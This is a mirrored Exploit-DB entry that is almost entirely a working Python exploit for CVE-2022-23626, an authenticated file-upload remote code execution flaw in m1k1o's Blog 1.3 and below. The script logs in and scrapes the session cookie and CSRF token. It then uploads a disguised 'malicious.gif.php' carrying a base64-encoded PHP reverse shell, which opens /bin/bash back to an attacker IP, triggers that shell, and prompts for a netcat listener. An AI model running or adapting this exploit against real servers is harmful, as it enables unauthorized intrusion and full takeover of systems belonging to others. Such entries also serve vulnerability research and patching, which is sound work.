m1k1o’s Blog v.10 – Remote Code Execution (RCE) (Authenticated)

  • 作者: Malte V
    日期: 2022-05-23
  • 类别:
    平台:
  • 来源:https://www.exploit-db.com/exploits/50943/
  • # Exploit Title: m1k1o's Blog v.10 - Remote Code Execution (RCE) (Authenticated)
    # Date: 2022-01-06
    # Exploit Author: Malte V
    # Vendor Homepage: https://github.com/m1k1o/blog
    # Software Link: https://github.com/m1k1o/blog/archive/refs/tags/v1.3.zip
    # Version: 1.3 and below
    # Tested on: Linux
    # CVE : CVE-2022-23626
    
    import argparse
    import json
    import re
    from base64 import b64encode
    import requests as req
    from bs4 import BeautifulSoup
    
    parser = argparse.ArgumentParser(description='Authenticated RCE File Upload Vulnerability for m1k1o\'s Blog')
    parser.add_argument('-ip', '--ip', help='IP address for reverse shell', type=str, default='172.17.0.1', required=False)
    parser.add_argument('-u', '--url', help='URL of machine without the http:// prefix', type=str, default='localhost',
    required=False)
    parser.add_argument('-p', '--port', help='Port for the Blog', type=int, default=8081,
    required=False)
    parser.add_argument('-lp', '--lport', help='Listening port for reverse shell', type=int, default=9999,
    required=False)
    parser.add_argument('-U', '--username', help='Username for Blog user', type=str, default='username', required=False)
    parser.add_argument('-P', '--password', help='Password for Blog user', type=str, default='password', required=False)
    
    args = vars(parser.parse_args())
    
    username = args['username']
    password = args['password']
    lhost_ip = args['ip']
    lhost_port = args['lport']
    address = args['url']
    port = args['port']
    url = f"http://{address}:{port}"
    
    blog_cookie = ""
    csrf_token = ""
    exploit_file_name = ""
    header = {
    "Host": f"{address}",
    "Content-Type": "multipart/form-data; boundary=---------------------------13148889121752486353560141292",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "X-Requested-With": "XMLHttpRequest",
    "Csrf-Token": f"{csrf_token}",
    "Cookie": f"PHPSESSID={blog_cookie}"
    }
    
    
    def get_cookie(complete_url):
    global blog_cookie
    cookie_header = {}
    if not blog_cookie:
    cookie_header['Cookie'] = f"PHPSESSID={blog_cookie}"
    result = req.get(url=complete_url, headers=cookie_header)
    if result.status_code == 200:
    blog_cookie = result.cookies.get_dict()['PHPSESSID']
    print(f'[+] Found PHPSESSID: {blog_cookie}')
    grep_csrf(result)
    
    
    def grep_csrf(result):
    global csrf_token
    csrf_regex = r"[a-f0-9]{10}"
    soup = BeautifulSoup(result.text, 'html.parser')
    script_tag = str(soup.findAll('script')[1].contents[0])
    csrf_token = re.search(csrf_regex, script_tag).group(0)
    print(f'[+] Found CSRF-Token: {csrf_token}')
    
    
    def login(username, password):
    get_cookie(url)
    login_url = f"{url}/ajax.php"
    login_data = f"action=login&nick={username}&pass={password}"
    login_header = {
    "Host": f"{address}",
    "Content-Type": "application/x-www-form-urlencoded; charset=UTF-8",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "X-Requested-With": "XMLHttpRequest",
    "Csrf-Token": f"{csrf_token}",
    "Cookie": f"PHPSESSID={blog_cookie}"
    }
    result = req.post(url=login_url, headers=login_header, data=login_data)
    soup = BeautifulSoup(result.text, 'html.parser')
    login_content = json.loads(soup.text)
    if login_content.get('logged_in'):
    print('[*] Successful login')
    else:
    print('[!] Bad login')
    
    
    def set_cookie(result):
    global blog_cookie
    blog_cookie = result.cookies.get_dict()['PHPSESSID']
    
    
    def generate_payload(command):
    return f"""
    -----------------------------13148889121752486353560141292
    Content-Disposition: form-data; name="file"; filename="malicious.gif.php"
    Content-Type: application/x-httpd-php
    
    GIF<?php system(base64_decode('{b64encode(bytes(command, 'utf-8')).decode('ascii')}')); ?>;
    -----------------------------13148889121752486353560141292--
    """
    
    
    def send_payload():
    payload_header = {
    "Host": f"{address}",
    "Content-Type": "multipart/form-data; boundary=---------------------------13148889121752486353560141292",
    "User-Agent": "Mozilla/5.0 (X11; Linux x86_64; rv:96.0) Gecko/20100101 Firefox/96.0",
    "Accept": "text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9",
    "X-Requested-With": "XMLHttpRequest",
    "Csrf-Token": f"{csrf_token}",
    "Cookie": f"PHPSESSID={blog_cookie}"
    }
    upload_url = f"http://{address}:{port}/ajax.php?action=upload_image"
    command = f"php -r '$sock=fsockopen(\"{lhost_ip}\",{lhost_port});exec(\"/bin/bash <&3 >&3 2>&3\");'"
    payload = generate_payload(command)
    print(f"[+] Upload exploit")
    result = req.post(url=upload_url, headers=payload_header, data=payload, proxies= {"http": "http://127.0.0.1:8080"})
    set_exploit_file_name(result.content.decode('ascii'))
    
    
    def set_exploit_file_name(data):
    global exploit_file_name
    file_regex = r"[a-zA-Z0-9]{4,5}.php"
    exploit_file_name = re.search(file_regex, data).group(0)
    
    
    def call_malicious_php(file_name):
    global header
    complete_url = f"{url}/data/i/{file_name}"
    print('[*] Calling reverse shell')
    result = req.get(url=complete_url)
    
    
    def check_reverse_shell():
    yes = {'yes', 'y', 'ye', ''}
    no = {'no', 'n'}
    choice = input("Have you got an active netcat listener (y/Y or n/N): ")
    if choice in yes:
    return True
    elif choice in no:
    print(f"[!] Please open netcat listener with \"nc -lnvp {lhost_port}\"")
    return False
    
    def main():
    enabled_listener = check_reverse_shell()
    if enabled_listener:
    login(username, password)
    send_payload()
    call_malicious_php(exploit_file_name)
    
    
    if __name__ == "__main__":
    main()